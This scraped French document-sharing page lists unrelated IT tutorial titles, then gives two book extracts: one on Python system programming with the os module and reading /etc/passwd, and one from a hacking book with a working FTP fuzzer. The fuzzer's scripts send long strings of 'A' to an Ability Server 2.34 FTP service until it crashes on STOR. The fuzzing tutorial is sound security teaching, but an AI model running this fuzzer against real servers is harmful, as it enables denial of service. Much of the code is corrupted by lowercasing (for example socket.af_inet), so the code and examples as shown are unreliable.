Python Les fondamentaux du langage



Documents pareils
Atelier La notion de session utilisateur sous Linux

Environnements informatiques

TP n 2 : Installation et administration du serveur ProFTP. Partie 1 : Fonctionnement du protocole FTP (pas plus de 15min)

Unix/Linux I. 1 ere année DUT. Université marne la vallée

Netfilter & Iptables. Théorie Firewall. Autoriser le trafic entrant d'une connexion déjà établie. Permettre le trafic entrant sur un port spécifique

1/ Introduction. 2/ Schéma du réseau

Sécurisation du réseau

Chapitre 02. Configuration et Installation

Serveur Linux : FTP. Mise en place d un service FTP sous Linux. Bouron Dimitri 20/04/2014

A. Architecture du serveur Tomcat 6

Protection des protocoles

Windows 8 Installation et configuration

Raspberry pi : Développer une petite application web sur Raspberry

Gestion d identités PSL Installation IdP Authentic

KWISATZ MODULE PRESTASHOP

vcenter Server 1. Interface Lancez le vsphere Client et connectez vous à vcenter Server. Voici la page d accueil de vcenter Server.

KWISATZ_TUTO_module_magento novembre 2012 KWISATZ MODULE MAGENTO

DUT Informatique Module Système S4 C Département Informatique 2009 / Travaux Pratiques n o 5 : Sockets Stream

sshgate Patrick Guiran Chef de projet support

BTS SIO Dossier BTS. PURCHLA Romain

Afin d'éviter un message d'erreur au démarrage du service Apache du type :

Serveur de partage de documents. Étude et proposition d'une solution afin de mettre en place un serveur de partage de documents.

1 Lecture de fichiers

Assistance à distance sous Windows

L installation a quelque peu changée depuis les derniers tutos, voici une actualisation.

I. Présentation du serveur Samba

DSI - Pôle Infrastructures

Serveurs de noms Protocoles HTTP et FTP

Configurer une sauvegarde FTP simple et efficace

Installation de la plate-forme Liberacces 2.0 «Intégrale» avec LiberInstall

Couche application. La couche application est la plus élevée du modèle de référence.

BTS SIO SISR3 TP 1-I Le service Web [1] Le service Web [1]

TP1 - Prise en main de l environnement Unix.

Atelier Le gestionnaire de fichier

Installation d'un serveur FTP géré par une base de données MySQL

LINUX - ADMINISTRATION PROGRAMME DE FORMATION

DOCKER MEETUP. Christophe Labouisse

Capture, Filtrage et Analyse de trames ETHERNET avec le logiciel Wireshark. Etape 1 : Lancement des machines virtuelles VMWARE et de Wireshark

Procédures informatiques administrateurs Création d un serveur FTP sous Linux

Classe et groupe : 1P 3 SEN TRI. Ubuntu : serveur Contrôleur de Domaine (PDC) avec SAMBA

Documentation utilisateur, manuel utilisateur MagicSafe Linux. Vous pouvez télécharger la dernière version de ce document à l adresse suivante :

Les clients GNU/Linux

Open Source Job Scheduler. Installation(s)

Dans le cadre de SECURIDAY Et sous le thème de Computer Forensics Investigation SECURINETS. Analyse des fichiers LOG. Tarek LABIDI (RT3)

WEBMESTRE : CONCEPTION DE SITES ET ADMINISTRATION DE SERVEURS WEB

SERVEUR DE MESSAGERIE

Projet de programmation (IK3) : TP n 1 Correction

Le système GNU/Linux IUP NTIC /11/05

EPREUVE PRATIQUE DES TECHNIQUES INFORMATIQUES ACTIVITE N 1. Thème de l activité : Configuration d un firewall

Chapitre 4 : Édition de fichiers texte - Vi

3IS - Système d'exploitation linux - Programmation système

Infrastructure RDS 2012

Base de l'informatique. Généralité et Architecture Le système d'exploitation Les logiciels Le réseau et l'extérieur (WEB)

PARAMETRER SAMBA 2.2

La mémoire. Un ordinateur. L'octet. Le bit

Cloud Computing : forces et faiblesses

Exonet : sauvegarde automatisée d une base de données

PROJET ARCHI WINDOWS SERVER

CNAM Déploiement d une application avec EC2 ( Cloud Amazon ) Auteur : Thierry Kauffmann Paris, Décembre 2010

TP 1. Prise en main du langage Python

L informatique en BCPST

SQL Data Export for PS/PSS

Installation d'un TSE (Terminal Serveur Edition)

Service Informatique et Télématique (SITEL), Emile-Argand 11, 2009 Neuchâtel, Tél ,

Systèmes d exploitation

Comment Accéder à des Bases de Données MySQL avec Windows lorqu'elles sont sur un Serveur Linux

Tutoriel Création d une source Cydia et compilation des packages sous Linux

PRO CED U RE D I N STALLATI O N

Mise en place d'un antivirus centralisé

Rapport du projet Qualité de Service

INSTALLATION ET CONFIGURATION DE OPENLDAP

Chapitre 2 Accès aux partages depuis votre système d'exploitation

Service WEB, BDD MySQL, PHP et réplication Heartbeat. Conditions requises : Dans ce TP, il est nécessaire d'avoir une machine Debian sous ProxMox

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Cette option est aussi disponible sur les clients Windows 7 sous la forme d un cache réparti entre les différentes machines.

Mise en place Active Directory, DNS Mise en place Active directory, DNS sous Windows Serveur 2008 R2

IFT287 Exploitation de base de données relationnelles et orientées objet. Laboratoire Mon premier programme Java en Eclipse

NAS 208 WebDAV Une alternative au protocole FTP pour le partage sécurisé des fichiers

Installation de Vmware serveur Windows

Introduction à l informatique en BCPST

PG208, Projet n 3 : Serveur HTTP évolué

Administration Linux - FTP

Imprimantes et partage réseau sous Samba avec authentification Active Directory

Architecture de la plateforme SBC

Configuration matériel. Tâche 2 : Installation proprement dite de l application sur un serveur de test virtualisé sous VmWare Workstation.

TP LINUX : MISE EN RÉSEAU D UN SERVEUR LINUX

Architecture distribuée

Vade mecum installation et configuration d une machine virtuelle V5.1.0

Asset Management Software Client Module. Manuel d utilisation

Comment configurer Kubuntu

SECURIDAY 2012 Pro Edition

Catalogue des formations 2015

Guide de l administrateur de mexi

Guide d installation de MySQL

Le Registre sous Windows 8 architecture, administration, script, réparation...

VAMT 2.0. Activation de Windows 7 en collège

WDpStats Procédure d installation

Nmap (Network Mapper) Outil d exploration réseau et scanneur de ports/sécurité

Transcription:

Editions ENI Python Les fondamentaux du langage (Nouvelle édition) Collection Ressources Informatiques Extrait

654 Python Les fondamentaux du langage 1.2 Objectifs du chapitre Dans ce chapitre sont présentés les moyens mis à disposition par Python pour permettre d exécuter des commandes système de manière à effectuer des opérations de maintenance, l utilisation du système de fichiers, les moyens permettant à Python d être une alternative crédible à Bash, en particulier par le traitement du passage d arguments. Les problématiques liées à la gestion des protocoles réseau, souvent associées à de la programmation système, sont également présentées, et orientées vers la communication entre différents types de clients et de serveurs et différentes technologies. Cela couvre également les services web. La gestion des tâches et processus à haut niveau est également une problématique faisant partie de la programmation système. Mais étant de haut niveau, elle est utilisée beaucoup plus pour des applications qu en tant qu élément de programmation système pure. C est la raison pour laquelle cette partie est traitée dans un chapitre dédié, le chapitre Programmation parallèle. 2. Écrire des scripts système 2.1 Appréhender son système d exploitation 2.1.1 Avertissement L exécution de commandes externes est intimement liée au système sur lequel se trouve installé Python. D une part, chaque système d exploitation possède ses propres commandes. Par exemple, pour lister un répertoire, on utilisera ls ou dir. Cette section traite principalement les commandes Unix. Au-delà des commandes système classiques, certaines commandes comme mysql ou mysqldump ne peuvent être utilisées que si les programmes adéquats ont été installés, quel que soit le système. 2.1.2 Système d exploitation Python propose un module de bas niveau permettant de gérer des informations sur le système d exploitation : >>> import os Voici les deux principaux moyens de vérifier la nature du système : >>> os.name 'posix' >>> os.uname() Editions ENI - All rights reserved

Programmation système et réseau Chapitre 3.4 655 ('Linux', 'nom_donne_au_host', '2.6.38-11-generic', '#50-Ubuntu SMP Mon Sep 12 21:17:25 UTC 2011', 'x86_64') La première commande donne une standardisation de l environnement et la seconde des détails sur le nom du système d exploitation, de la machine, le nom du noyau et sa version ainsi que l architecture de la machine. Tester ces valeurs permet d'effectuer des choix et d adapter une application à un environnement précis pour certaines opérations qui le nécessitent. Voici comment trouver la liste des variables d environnement : >>> list(os.environ.keys()) Et voici comment aller chercher la valeur d une de ces variables : >>> os.getenv('language') 'fr_fr:fr' L exploitation de ces variables d environnement permet également de diriger des choix permettant l adaptation de l application. Dans le cas qui vient d être vu, le choix de la locale peut servir à produire une interface adaptée au langage de l utilisateur. Il est possible de lire les variables d'environnement sous forme d'octets avec os.environb (utile lorsque Python est unicode, mais pas le système). Python permet également de modifier ces variables d environnement à l aide de la méthode putenv. L environnement est alors affecté dans tous les sous-processus. 2.1.3 Processus courant Python permet d obtenir des informations sur le processus courant. Ces fonctionnalités ne sont disponibles que pour Linux. La principale d entre elles est l identifiant du processus courant et celui du parent : >>> os.getpid() 5256 >>> os.getppid() 3293 Le parent peut correspondre à l identifiant d un processus Python père ou à celui de la console lorsque Python est lancé en mode console depuis la console. Il peut récupérer l utilisateur affecté au processus et l utilisateur effectif : >>> os.getuid() 1000 >>> os.geteuid() 1000 On peut également avoir des informations textuelles : >>> os.getlogin()

656 Python Les fondamentaux du langage 'sch' Et des informations sur les groupes rattachés au processus : >>> os.getgroups() [4, 20, 24, 46, 112, 120, 122, 1000] Ainsi que sur le 3-uplet (utilisateur courant, effectif, sauvegardé) : >>> os.getresuid() (1000, 1000, 1000) Voici le 3-uplet des groupes associés (courant, effectif, sauvegardé) : >>> os.getresgid() (1000, 1000, 1000) L identifiant 0 est celui de root, 1000 celui du premier utilisateur créé (lors de l installation du système) pour Unix. Si l on ne veut pas que l'application puisse être lancée par root, on peut faire : >>> if os.getuid() == 0:... print('ne doit pas être lancé avec root...') Enfin, il est possible de retrouver le terminal contrôlant le processus : >>> os.ctermid() '/dev/tty' Pour plus d informations : $ man tty Pour tester les différences, la console peut être lancée en root : $ sudo python3 2.1.4 Utilisateurs et groupes Un système d exploitation moderne est multi-utilisateur et permet de retrouver des informations sur les utilisateurs déclarés. Python permet de rechercher des renseignements sur les utilisateurs en se servant des fichiers qui stockent ces informations : >>> with open("/etc/passwd") as f:... users = [l.split(':', 6) for l in f]... On peut ainsi afficher les données de l utilisateur simplement : >>> users[0] ['root', 'x', '0', '0', 'root', '/root', '/bin/bash\n'] Editions ENI - All rights reserved

Programmation système et réseau Chapitre 3.4 657 Elles correspondent respectivement aux : nom d utilisateur ; mot de passe encrypté (ou stocké chiffré dans un fichier séparé) ; identifiant de l utilisateur ; identifiant de son groupe ; nom complet ; répertoire d accueil ; shell au démarrage de sa session. Avec ces données, celui qui connaît le fonctionnement de son système sait à quels niveaux il peut intervenir pour effectuer des modifications. Voici comment obtenir l ensemble des valeurs utilisées pour les différents utilisateurs : >>> {u[6] for u in users} {'/bin/sh\n', '/bin/false\n', '/bin/sync\n', '/bin/bash\n', '/usr/sbin/nologin\n'} >>> {u[5] for u in users} {'/home/sch', '/var/www', '/root', '/var/lib/bacula', [ ]} On peut utiliser les mêmes procédés pour les groupes : >>> with open("/etc/group") as f:... groups = [l.split(':', 3) for l in f]... >>> groups[0] ['root', 'x', '0', '\n'] Le troisième élément est le numéro du groupe servant de lien avec l utilisateur. Voici comment mettre cette relation en évidence : >>> guser = {u[3]: u[0] for u in users} >>> user_group = [(guser.get(g[2]), g[0]) for g in groups] On voit donc en peu d exemples comment utiliser la puissance des types de Python. Le bon type pour la bonne utilisation. Voici un script testant l existence des éléments caractéristiques d un utilisateur, nom d utilisateur, le nom de groupe associé et son dossier personnel à l emplacement par défaut : >>> for username in ['sch', 'existepas']:... if username in (u[0] for u in users):... print("l'utilisateur %s existe déjà" % username)... if username in (g[0] for g in groups):... print("le groupe %s existe déjà" % username)

658 Python Les fondamentaux du langage... home = '/home/%s' % username... if os.path.exists(home):... print('le dossier %s existe déjà' % username)... L'utilisateur sch existe déjà Le groupe sch existe déjà Le dossier sch existe déjà Enfin, pour terminer, les utilisateurs courants du système (pas les utilisateurs Apache, Bacula ou autre) ont un identifiant compris entre certaines bornes : >>> max_user_id = max([id for id in (int(u[2]) for u in users) if 1000 < id < 19999]) >>> max_group_id = max([id for id in (int(g[2]) for g in groups) if 1000 < id < 19999]) Voici les résultats pour ma machine qui ne contient que deux comptes d utilisateurs courants : >>> max_user_id, max_group_id (1001, 1001) 2.1.5 Constantes pour le système de fichiers Le Système d exploitation définit certaines caractéristiques par rapport au système de fichiers. Il s agit de la notation du répertoire courant, du répertoire parent, du séparateur de répertoire (il peut y en avoir un second), du séparateur d extensions, de la séparation entre chemins lorsqu ils sont écrits l un après l autre, et le séparateur qui définit le changement de ligne : >>> os.curdir, os.pardir ('.', '..') >>> os.sep, os.altsep, os.extsep, os.pathsep, os.linesep ('/', None, '.', ':', '\n') Chaque système définit également un chemin par défaut (liste de répertoires séparés par le séparateur os.pathsep) et un chemin vers une interface nulle : >>> os.defpath ':/bin:/usr/bin' >>> os.devnull '/dev/null' Il existe encore un certain nombre d opérations plus spécialisées, mais celles présentées permettent déjà de réaliser un code indépendant du système : >>> os.sep.join([os.curdir, 'rep', 'fname' + os.extsep + 'ext']) './rep/fname.ext' Editions ENI - All rights reserved

Programmation système et réseau Chapitre 3.4 659 2.2 Gestion d un fichier 2.2.1 Ouvrir un fichier Python étant à l origine conçu pour réaliser des opérations système, il est naturellement pourvu d outils très fournis, très simples d utilisation et très efficaces. En un mot, pythoniques. Et ils ont été améliorés tout au long de l évolution du langage. Voici la manière basique d ouvrir un fichier : >>> with open('test.txt') as f:... pass # Travailler sur le contenu du fichier... Que représente f? >>> with open('test.txt') as f:... type(f)... type.mro(type(f))... dir(f)... <class '_io.textiowrapper'> [<class '_io.textiowrapper'>, <class '_io._textiobase'>, <class '_io._iobase'>, <class 'object'>] ['_CHUNK_SIZE', ' class ', ' delattr ', ' doc ', ' enter ', ' eq ', ' exit ', ' format ', ' ge ', ' getattribute ', ' getstate ', ' gt ', ' hash ', ' init ', ' iter ', ' le ', ' lt ', ' ne ', ' new ', ' next ', ' reduce ', ' reduce_ex ', ' repr ', ' setattr ', ' sizeof ', ' str ', ' subclasshook ', '_checkclosed', '_checkreadable', '_checkseekable', '_checkwritable', 'buffer', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'line_buffering', 'name', 'newlines', 'read', 'readable', 'readline', 'readlines', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'writelines'] La variable f est une structure qui correspond à une entrée/sortie (descripteur de fichier) et qui peut être utilisée comme un générateur. Nous allons voir comment utiliser cette variable pour répondre à différents besoins. Avant cela, il est utile de préciser que open prend deux autres paramètres qui sont le type d accès et la taille du buffer à utiliser avec 0 pour aucun et 1 pour la valeur par défaut. Symbole Signification Symbole Signification r Lecture seule (défaut) t Mode textuel (par défaut)

Editions ENI Hacking et Forensic Développez vos propres outils en Python Collection Epsilon Extrait

248 Hacking et Forensic Développez vos propres outils en Python 2. Fuzzing FTP Prenons pour commencer un cas simple avec l'application Ability Server 2.34 qui est un logiciel commercial permettant de créer simplement un serveur FTP, HTTP ou e-mail. Nous nous attaquerons au serveur FTP puisque faillible et connu. Allons dans Settings pour configurer un utilisateur avec l identifiant ftp et le mot de passe ftp par exemple. Editions ENI - All rights reserved

Le Fuzzing Chapitre 4 249 À partir de ce moment, lorsque nous cliquons sur Activate sur la ligne de FTP Server, nous obtenons un accès au FTP en nous connectant en tant qu utilisateur ftp avec le mot de passe ftp. Nous partirons donc de ce constat pour créer un script qui va tenter de faire planter l'application. Nous sommes en présence du protocole FTP, il nous faut donc savoir quels sont les tests que nous pourrons effectuer. Un des tests possibles est de fournir en argument d'une commande un nombre d'arguments non prévu. Il nous faut donc répertorier les commandes FTP qui acceptent des arguments. Pour cela, nous avons une documentation très utile qui est la RFC. Nous pouvons donc aller consulter la RFC 959 et nous pourrons voir que les commandes CWD, MKD et STOR acceptent des arguments. Pour l'exemple, nous ne prendrons que ces trois commandes mais dans la pratique il faudrait tester toutes les commandes acceptant un argument.

250 Hacking et Forensic Développez vos propres outils en Python Nous allons donc commencer par écrire un script en Python qui effectue la connexion pour tester celle-ci. script_connexion_ftp.py import socket s=socket.socket(socket.af_inet,socket.sock_stream) s.connect(("10.0.0.10",21)) data=s.recv(1024) print data s.send("user ftp\r\n") print s.recv(1024) s.send("pass ftp\r\n") print s.recv(1024) s.send("quit\r\n") s.close() En testant ce script, nous pouvons constater qu une connexion de l'utilisateur ftp est bien vue par Ability Server. Continuons notre investigation et essayons, lorsque nous sommes connectés, d'envoyer une commande et de recevoir la réponse. script_commande_ftp.py import socket s=socket.socket(socket.af_inet,socket.sock_stream) s.connect(("10.0.0.10",21)) data=s.recv(1024) print data s.send("user ftp\r\n") print s.recv(1024) s.send("pass ftp\r\n") print s.recv(1024) s.send("pwd\r\n") data=s.recv(1024) print data s.send("quit\r\n") s.close() Editions ENI - All rights reserved

Le Fuzzing Chapitre 4 251 Nous avons donc réussi à envoyer et recevoir une commande FTP. Nous allons donc maintenant essayer d'envoyer plusieurs commandes et pour chacune d'entre elles envoyer un nombre d'arguments croissant jusqu'à déclencher un plantage potentiel du serveur FTP. Nous allons envoyer des «A» comme arguments. Script_final_ftp_fuzzing.py #!/usr/bin/env python #--*-- coding:utf-8 --*-- import socket commande=['mkd','cwd','stor'] for command in commande: car=" " while len(car)<2000: car=car+"a"*10 s=socket.socket(socket.af_inet,socket.sock_stream) s.connect(("10.0.0.2",21)) data=s.recv(1024) print data s.send("user ftp\r\n") print s.recv(1024) s.send("pass ftp\r\n") print s.recv(1024) commands=command + " "+car+"\r\n" s.send(commands)

252 Hacking et Forensic Développez vos propres outils en Python print commands + " : " + str(len(car)) s.send("quit\r\n") Dans ce script nous allons donc prendre chaque commande de la liste commande grâce à la boucle for pour ensuite grâce à la boucle while lui ajouter les arguments. Nous pouvons observer que le script s'arrête pour la commande STOR avec 1041 caractères A et que Ability Server a subi un crash. Editions ENI - All rights reserved

Le Fuzzing Chapitre 4 253 Nous venons donc d'effectuer notre premier fuzzer. 3. Fuzzing avec Scapy La fonction fuzz() est capable de changer n'importe quelle valeur par défaut telle que le checksum par un objet dont la valeur est aléatoire et le type adapté au champ. Ce qui va nous permettre de créer rapidement un fuzzer et de l'envoyer dans une boucle Dans l'exemple suivant, la couche IP est normale et les couches UDP et NTP sont fuzzées. Le checksum UDP sera correct, le port UDP de destination sera surchargé, NTP aura la valeur 123 et la version sera forcée à 4. Tous les autres ports seront rendus aléatoires. Nous pouvons bien entendu, comme nous l'avons vu au chapitre Réseau : la bibliothèque Scapy, configurer comme nous le voulons la fonction fuzz().